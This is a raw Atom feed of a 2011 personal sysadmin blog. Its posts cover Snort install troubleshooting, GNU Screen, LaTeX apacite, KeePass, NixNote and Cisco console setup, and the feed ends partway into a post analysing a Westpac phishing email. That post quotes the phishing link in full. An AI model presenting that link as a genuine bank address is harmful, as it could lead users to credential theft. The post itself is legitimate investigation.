Quitting..&lt;/li&gt;&lt;ol&gt;&lt;li&gt;mkdir -p /usr/local/lib/snort_dynamicrules&lt;/li&gt;&lt;li&gt;cp /etc/snort/so_rules/precompiled/&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;DIST&lt;/span&gt;&lt;/i&gt;/i386/2.9.0.0/* /usr/local/lib/snort_dynamicrules/&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;ERROR: /etc/snort/rules/web-misc.rules(555) Cannot use the fast_pattern content modifier for a lone http cookie/http raw uri /http raw header /http raw cookie /status code / status msg /http method buffer content.&lt;br /&gt;Fatal Error, Quitting..&lt;/li&gt;&lt;ol&gt;&lt;li&gt;The fast_pattern option cannot be used with the http_method string. Edit the web-misc.rules file and remove it from the snort rule. Do a search for &lt;span class="Apple-style-span" style="font-family: inherit;"&gt;"&lt;span style="-webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; border-collapse: separate; color: black; font-size: small; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"&gt;&lt;span style="color: #111111; line-height: 18px;"&gt;2010-0388&lt;/span&gt;&lt;/span&gt;" and remove the alert option fast_pattern from the alert rule&lt;/span&gt;.&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;ERROR: /etc/snort/snort.conf(244) =&amp;gt; 'compress_depth' and 'decompress_depth' should be set to max in the default policy to enable 'unlimited_decompress'&lt;br /&gt;Fatal Error, Quitting..&lt;/li&gt;&lt;ol&gt;&lt;li&gt;Edit the /etc/snort/snort.conf file and set the http_inspect compress_depth and decompress_depth to 65535 from 20480.&lt;/li&gt;&lt;/ol&gt;&lt;li&gt;ERROR: ByteExtract variable 'bugtraq' in rule [3:13897] is used before it is defined&lt;/li&gt;&lt;ol&gt;&lt;li&gt;Ensure that the shared libraries copied above using "cp /etc/snort/so_rules/precompiled/&lt;i&gt;&lt;span class="Apple-style-span" style="font-size: x-small;"&gt;DIST&lt;/span&gt;&lt;/i&gt;/i386/2.9.0.0/* /usr/local/lib/snort_dynamicrules/" are for the correct distribution &lt;/li&gt;&lt;li&gt;Ensure that the rules being used are for the version of snort being used.&lt;/li&gt;&lt;/ol&gt;&lt;/ol&gt;&lt;i&gt;&lt;b&gt;Please&lt;/b&gt;&amp;nbsp;&lt;b&gt;note:&lt;/b&gt;&amp;nbsp;&lt;/i&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;i&gt;These&amp;nbsp;instruction&amp;nbsp;are for 32bit hardware, for 64bit machines you will need to select appropriate 64bit RPM packages or configure and compile with appropriate compiler switches. These are considered beyond the scope of this post.&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;All instructions are executed with root privileges.&lt;/i&gt;&lt;/li&gt;&lt;/ol&gt;&lt;u&gt;References&lt;/u&gt;:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;a href="http://www.linuxmantra.com/2010/10/install-snort-29-on-rhel-5.html"&gt;http://www.linuxmantra.com/2010/10/install-snort-29-on-rhel-5.html&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.snort.org/snort-downloads?"&gt;http://www.snort.org/snort-downloads?&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.tcpdump.org/#latest-release"&gt;http://www.tcpdump.org/#latest-release&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.snort.org/assets/145/Install_Snort_2.8.6_on_CentOS_5.5.pdf"&gt;http://www.snort.org/assets/145/Install_Snort_2.8.6_on_CentOS_5.5.pdf&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-5256607499956332639?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/5256607499956332639/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2011/10/installing-snort-2912-on-centos-57.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/5256607499956332639'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/5256607499956332639'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2011/10/installing-snort-2912-on-centos-57.html' title='Installing Snort 2.9.1.2 on CentOS 5.7'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-2717186600675066822</id><published>2011-10-26T17:04:00.000+10:00</published><updated>2011-10-26T17:04:37.910+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='centos'/><category scheme='http://www.blogger.com/atom/ns#' term='gnu screen'/><title type='text'>Gnu Screen</title><content type='html'>Running some experiment on a VM server I rapidly ran out of patience having to wait for commands to run, and/or switching back and forth using Ctrl+Z, bg, and fg. My thoughts went back to Nick Black who had introduced me to Gnu Screen several years back, alas I has forgotten the short-cuts, Thankfully Google and the man page came to the rescue.&lt;br /&gt;&lt;br /&gt;Since the VM server was a CentOS 6.0 box, with minimal install, I had to install Gnu Screen using;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;yum -y install screen&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;Here's a summary of the shortcuts that may be useful;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Ctrl+A, c : create a new screen&lt;/li&gt;&lt;li&gt;Ctrl+A, A : set a name for the screen instead of the default shell name (bash)&lt;/li&gt;&lt;li&gt;Ctrl+A, " : lists the screens available&lt;/li&gt;&lt;li&gt;Ctrl+A, n : toggle to next screen&lt;/li&gt;&lt;li&gt;Ctrl+A, p : toggle to previous screen&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;u&gt;References:&lt;/u&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;http://www.gnu.org/s/screen/&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-2717186600675066822?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/2717186600675066822/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2011/10/gnu-screen.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/2717186600675066822'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/2717186600675066822'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2011/10/gnu-screen.html' title='Gnu Screen'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-7120724666059838706</id><published>2011-10-25T14:03:00.000+10:00</published><updated>2011-10-25T14:03:58.037+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='macports'/><category scheme='http://www.blogger.com/atom/ns#' term='texlive-bibtex-extra'/><category scheme='http://www.blogger.com/atom/ns#' term='macbook pro'/><category scheme='http://www.blogger.com/atom/ns#' term='error'/><category scheme='http://www.blogger.com/atom/ns#' term='lion'/><title type='text'>APAcite on Mac OS X (Lion) with texlive</title><content type='html'>I had to recently rebuild my Mac Book Pro (gasp!), and decided to upgrade to Lion. &amp;nbsp;The whole process was relatively painless. Files were copied back from backups, and updated from my SVN repositories, however I had troubles installing the appropriate Mac port package for the APACite classes.&lt;br /&gt;&lt;br /&gt;sudo port install texlive-bibtex-extra&lt;br /&gt;&lt;br /&gt;The latter yielded errors, which were logged in&lt;br /&gt;&lt;br /&gt;/opt/local/var/macports/logs/_opt_local_var_macports_sources_rsync.macports.org_release_tarballs_ports_perl_p5-text-bibtex/p5.12-text-bibtex/main.log&lt;br /&gt;&lt;br /&gt;Since the dependency&amp;nbsp;p5.12-text-bibtex could not be installed, examination of the log file provided the following clues;&amp;nbsp;error: 'main' must return 'int'&lt;br /&gt;&lt;br /&gt;The same error was reported for;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;/opt/local//var/macports/build/_opt_local_var_macports_sources_rsync.macports.org_release_tarballs_ports_perl_p5-text-bibtex/p5.12-text-bibtex/work/Text-BibTeX-0.60/btparse/tests/namebug.c&lt;/li&gt;&lt;li&gt;/opt/local//var/macports/build/_opt_local_var_macports_sources_rsync.macports.org_release_tarballs_ports_perl_p5-text-bibtex/p5.12-text-bibtex/work/Text-BibTeX-0.60/btparse/tests/tex_test.c&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;A quick rename of void to int enabled the package to be installed without further issues.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-7120724666059838706?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/7120724666059838706/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2011/10/apacite-on-mac-os-x-lion-with-texlive.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/7120724666059838706'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/7120724666059838706'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2011/10/apacite-on-mac-os-x-lion-with-texlive.html' title='APAcite on Mac OS X (Lion) with texlive'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-92505284754402050</id><published>2011-10-17T10:30:00.001+10:00</published><updated>2011-10-17T13:23:20.764+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='macports'/><category scheme='http://www.blogger.com/atom/ns#' term='texlive-bibtex-extra'/><category scheme='http://www.blogger.com/atom/ns#' term='documentclass'/><category scheme='http://www.blogger.com/atom/ns#' term='apacite'/><category scheme='http://www.blogger.com/atom/ns#' term='abstract'/><category scheme='http://www.blogger.com/atom/ns#' term='texlive-latex-extra'/><category scheme='http://www.blogger.com/atom/ns#' term='LaTeX'/><category scheme='http://www.blogger.com/atom/ns#' term='book'/><category scheme='http://www.blogger.com/atom/ns#' term='bibliographystyle'/><category scheme='http://www.blogger.com/atom/ns#' term='apple'/><title type='text'>APAcite on Mac OS X with texlive</title><content type='html'>While compiling a LaTeX document, a blank template of my PhD thesis to be exact, when I got the following error "! LaTeX Error: File `apacite.sty' not found." Again a quick search for Mac ports indicated that the texlive-bibtex-extra package was required. It was quickly installed using;&lt;br /&gt;&lt;br /&gt;sudo port install texlive-bibtex-extra&lt;br /&gt;&lt;br /&gt;Subsequent compile yielded more errors, this time it was "! Undefined control sequence. \abstract". This was solved using the texlive-latex-extra package, installed using;&lt;br /&gt;&lt;br /&gt;sudo port install texlive-latex-extra&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Then adding the following to define the abstract in the book documentclass;&lt;br /&gt;&lt;br /&gt;% Define abstract in book documentclass&lt;br /&gt;\pagestyle{empty}&lt;br /&gt;\newenvironment{abstract}% &lt;br /&gt;{&lt;br /&gt;&amp;nbsp; \onehalfspacing%&lt;br /&gt;&amp;nbsp; \null &lt;br /&gt;&amp;nbsp; \vfill&lt;br /&gt;&amp;nbsp; \chapter*{\centering Abstract}%&lt;br /&gt;&amp;nbsp; \addcontentsline{toc}{chapter}{Abstract}&lt;br /&gt;}% &lt;br /&gt;{\vfill\null}&lt;br /&gt;&lt;br /&gt;% Start the actual abstract&lt;br /&gt;\begin{abstract}&lt;br /&gt;\end{abstract}&lt;br /&gt;&lt;br /&gt;More errors resulted "! Use of \@year@ doesn't match its definition." I had to add "\bibliographystyle{apacite}" to the bibligraphy page, and all was well once again. &lt;br /&gt;&lt;br /&gt;&lt;u&gt;References&lt;/u&gt;: &lt;br /&gt;&lt;ol&gt;&lt;li&gt; https://trac.macports.org/wiki/TeXLivePackages&lt;/li&gt;&lt;li&gt;http://www.cs.utexas.edu/~witchel/errorclasses.html&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-92505284754402050?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/92505284754402050/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2011/10/apacite-on-mac-os-x-with-texlive.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/92505284754402050'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/92505284754402050'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2011/10/apacite-on-mac-os-x-with-texlive.html' title='APAcite on Mac OS X with texlive'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-8577259609150703040</id><published>2011-09-21T14:11:00.002+10:00</published><updated>2011-09-21T14:39:27.474+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='evernote'/><category scheme='http://www.blogger.com/atom/ns#' term='sudo'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='apt-get-repository'/><category scheme='http://www.blogger.com/atom/ns#' term='apt-get install'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='nevernote'/><title type='text'>Evernote and Nix/NeverNote on Ubuntu 10.04</title><content type='html'>Evernote is a great tool. I absolutely love it. The only con, is that it's nto available natively for Linux. So I have to run it under the Windows Emulator or &lt;i&gt;wine. &lt;/i&gt;The installation is fairly simple. &lt;br /&gt;&lt;ol&gt;&lt;li&gt;wget http://evernote.s3.amazonaws.com/win4/public/Evernote_4.5.0.5229.exe&lt;/li&gt;&lt;li&gt;wine Evernote_4.5.0.5229.exe&lt;/li&gt;&lt;/ol&gt;Obviously not running natively there is a slight performance lag. This may be attributed to my 5 year old laptop. Although it's still usable, the slow synchronization soon becomes tiresome. Fortunately there is a Linux native client called NeverNote&lt;span style="font-size: xx-small;"&gt;[2]&lt;/span&gt;. &lt;br /&gt;&lt;ol&gt;&lt;li&gt;sudo add-apt-repository ppa:vincent-c/nevernote&lt;/li&gt;&lt;li&gt;sudo apt-get update&lt;/li&gt;&lt;li&gt;sudo apt-get install nevernote&lt;/li&gt;&lt;li&gt;nixnote&lt;/li&gt;&lt;/ol&gt;NixNote is a bit ugly, but functional. Definitely faster than running Evernote in emulation.&amp;nbsp; The feature that I like best is that you are able to encrypt the NixNote database using AES when you shutdown. This is a definite plus in my books.&lt;br /&gt;&lt;br /&gt;Therefore, if you can live with the degraded performance, then Evernote will do, but if you need to work faster, want that extra bit of security, and an ugly interface does not bother you, then give NixNote (aka NeverNote) a try.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;References&lt;/u&gt;:&lt;br /&gt;&lt;ol&gt;&lt;li&gt; http://www.howtogeek.com/howto/35661/how-to-install-evernote-4.0-in-ubuntu-using-wine/&lt;/li&gt;&lt;li&gt;http://www.techdrivein.com/2011/06/nevernote-open-source-evernote-clone.html&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-8577259609150703040?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/8577259609150703040/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2011/09/evernote-and-nixnevernote-on-ubuntu.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/8577259609150703040'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/8577259609150703040'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2011/09/evernote-and-nixnevernote-on-ubuntu.html' title='Evernote and Nix/NeverNote on Ubuntu 10.04'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-3771422587564105288</id><published>2011-09-21T12:28:00.000+10:00</published><updated>2011-09-21T12:28:03.859+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cisco'/><category scheme='http://www.blogger.com/atom/ns#' term='com1'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='9600'/><category scheme='http://www.blogger.com/atom/ns#' term='serial'/><category scheme='http://www.blogger.com/atom/ns#' term='minicom'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='console'/><title type='text'>Cisco console from Ubuntu 10.04</title><content type='html'>It's pretty easy to set-up Cisco serial console connectivity on Ubuntu 10.04. The usual way is to use &lt;i&gt;minicom&lt;/i&gt;. The serial ports usually called COM1-4 usually have the following address range;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;COM1 - 3E8&lt;/li&gt;&lt;li&gt;COM2 - 2F8&lt;/li&gt;&lt;li&gt;COM3 - 3E8&lt;/li&gt;&lt;li&gt;COM4 - 2E8&lt;/li&gt;&lt;/ol&gt;To complete the setup first determine the address used for COM1 (or whichever serial port you wish to use) on your machine&amp;nbsp; query the kernel buffer ring using the &lt;i&gt;dmesg&lt;/i&gt; command, then install and configure the &lt;i&gt;minicom&lt;/i&gt;, modem emulation tool.&lt;br /&gt;&lt;ol&gt;&lt;li&gt;sudo dmesg | grep tty&lt;/li&gt;&lt;li&gt;sudo apt-get install minicom&lt;/li&gt;&lt;li&gt;sudo minicom -s&lt;i&gt; # Configure the terminal to use 9600-8-N-1 and save as dfl&lt;/i&gt;&lt;/li&gt;&lt;li&gt;sudo minicom&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;u&gt;References:&lt;/u&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;https://help.ubuntu.com/community/CiscoConsole&lt;/li&gt;&lt;li&gt;http://useopensource.blogspot.com/2007/01/using-cisco-console-in-linux.html&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-3771422587564105288?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/3771422587564105288/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2011/09/cisco-console-from-ubuntu-1004.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/3771422587564105288'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/3771422587564105288'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2011/09/cisco-console-from-ubuntu-1004.html' title='Cisco console from Ubuntu 10.04'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-7451940725149378580</id><published>2011-09-20T01:17:00.000+10:00</published><updated>2011-09-20T01:17:39.130+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='unzip'/><category scheme='http://www.blogger.com/atom/ns#' term='install'/><category scheme='http://www.blogger.com/atom/ns#' term='password'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='apt-get'/><category scheme='http://www.blogger.com/atom/ns#' term='apt-key'/><category scheme='http://www.blogger.com/atom/ns#' term='mono'/><category scheme='http://www.blogger.com/atom/ns#' term='keepass'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>KeePass on Ubuntu 10.04</title><content type='html'>KeePass is a very popular password management software. One of my client uses this for their systems and I was given a copy of their database. Since I mostly use linux when I am working, I needed a way to get this working on Ubuntu 10.04. Instructions are widely available, but again for my benefit, I have documented them here as step-by-step guide for myself. At the time of this blog post the 2.x version of KeePass was 2.16&lt;br /&gt;&lt;br /&gt;Firstly install Mono. For more details refer to the Badger ports website&lt;span style="font-size: xx-small;"&gt;[1]&lt;/span&gt;. &lt;br /&gt;&lt;ol&gt;&lt;li&gt;Edit the /etc/apt/sources.list file&lt;/li&gt;&lt;ul&gt;&lt;li&gt;Add the lines&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;i&gt;# For mono 2.6 -&amp;gt; needed by KeePass&lt;/i&gt;&lt;/li&gt;&lt;li&gt;&lt;i&gt;deb http://badgerports.org lucid main&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;li&gt;cd /etc/apt &lt;/li&gt;&lt;li&gt;sudo wget http://badgerports.org/directhex.ppa.asc&lt;/li&gt;&lt;li&gt;sudo apt-key add directhex.ppa.asc&lt;/li&gt;&lt;li&gt;sudo apt-get update&lt;/li&gt;&lt;li&gt;sudo apt-get install mono mono-devel &lt;/li&gt;&lt;li&gt;mono --version&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;i&gt;# Confirm the mono version is &amp;gt;= 2.6&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ol&gt;Download and install the KeePass from the KeePass website&lt;span style="font-size: xx-small;"&gt;[2]&lt;/span&gt;.&lt;br /&gt;&lt;ol&gt;&lt;li&gt; sudo mkdir -p /opt/KeePass2&lt;/li&gt;&lt;li&gt;cd /opt/KeePass2&lt;/li&gt;&lt;li&gt;wget http://downloads.sourceforge.net/keepass/KeePass-2.16.zip&lt;/li&gt;&lt;li&gt;sudo unzip KeePass-2.16.zip&lt;/li&gt;&lt;/ol&gt;Execute the KeePass application&lt;br /&gt;&lt;ol&gt;&lt;li&gt;mono /opt/KeePass2/KeePass.exe &amp;amp;&lt;/li&gt;&lt;/ol&gt;There does appear to be a lot of debug information (am assuming its debug information) written to the terminal, but these should be safe to ignore. &lt;br /&gt;&lt;br /&gt;&lt;u&gt;References&lt;/u&gt;:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;http://badgerports.org&lt;/li&gt;&lt;li&gt;http://keepass.info&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7101191185610484252-7451940725149378580?l=nkush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nkush.blogspot.com/feeds/7451940725149378580/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nkush.blogspot.com/2011/09/keepass-on-ubuntu-1004.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/7451940725149378580'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7101191185610484252/posts/default/7451940725149378580'/><link rel='alternate' type='text/html' href='http://nkush.blogspot.com/2011/09/keepass-on-ubuntu-1004.html' title='KeePass on Ubuntu 10.04'/><author><name>Kush, Nishchal</name><uri>http://www.blogger.com/profile/09916128927204667997</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://3.bp.blogspot.com/_WK7TtRkL_xE/S-aM9a9pLoI/AAAAAAAAAB0/YgHjY-crLXc/S220/cards.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7101191185610484252.post-5605563587964757510</id><published>2011-09-15T09:38:00.000+10:00</published><updated>2011-09-15T09:43:26.753+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='server'/><category scheme='http://www.blogger.com/atom/ns#' term='web shell by orb'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='westpac'/><category scheme='http://www.blogger.com/atom/ns#' term='spam'/><category scheme='http://www.blogger.com/atom/ns#' term='php'/><category scheme='http://www.blogger.com/atom/ns#' term='WSO 2.5'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>SPAM - Westpac Notice</title><content type='html'>I recently got an email with the subject "[Bulk] Westpac Notice" claiming to be from "notice@westpac.com.au". I knew this was SPAM, but was curious none the less, I felt like investigating further, but didn't have much time... my curiosity got the better of me, and I decided to do some quick digging anyway.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-wYQk21YJE_c/TnDHLmT-LiI/AAAAAAAAAFI/S_8s_NuHTdU/s1600/spam.bmp" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="115" src="http://1.bp.blogspot.com/-wYQk21YJE_c/TnDHLmT-LiI/AAAAAAAAAFI/S_8s_NuHTdU/s400/spam.bmp" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The link on the email resolved to &lt;span class="Apple-style-span" style="font-family: inherit;"&gt;"http://www.backrite.com/cw3/assets/product_small/Westpac.com.au/Westpac/index.htm"&lt;/span&gt;, I very crude attempt I thought, the least they could have done was attempt to get a domain that at least appears slightly legitimate or use a URL shortening service at least.&lt;br /&gt;&lt;br /&gt;I fired up my debuggig VM and opened up Firefox and pasted the URL in, the site appeared to be down. This was going to be quicker than I thought.&amp;nbsp;Next I examined the e-mail headers and found a number of interesting things;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;iX-Apparently-To: me@me.com via 76.13.9.102; Mon, 12 Sep 2011 17:35:43 -0700&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;X-YahooFilteredBulk: 72.52.199.90&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;Received-SPF: none (domain of server22.01domain.net does not designate permitted sender hosts)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;X-YMailISG: uqaL3oQWLDupZk39g7NZ_d1X.jvu2AiRfqDcSAS5WI1yggQj&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;&amp;nbsp;qKsr_wBhJ6fOB576uyrk3sOva0uAvBRbH2D9buWQ2RMJpgB.gBvrBbexkVVz&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;&amp;nbsp;XhkFvqbM2oAMn_GHLmNEOUb_wcs6rU031UCGN0Gc8InmvAhB8wE6ua0shbqw&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;&amp;nbsp;gqobfvaLzFTrjLeJ03BlqKdv3L_RDh4xyyLL2saipKDl7XkbKwLizqsr4c6R&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace; font-size: xx-small;"&gt;X-Originating-IP: 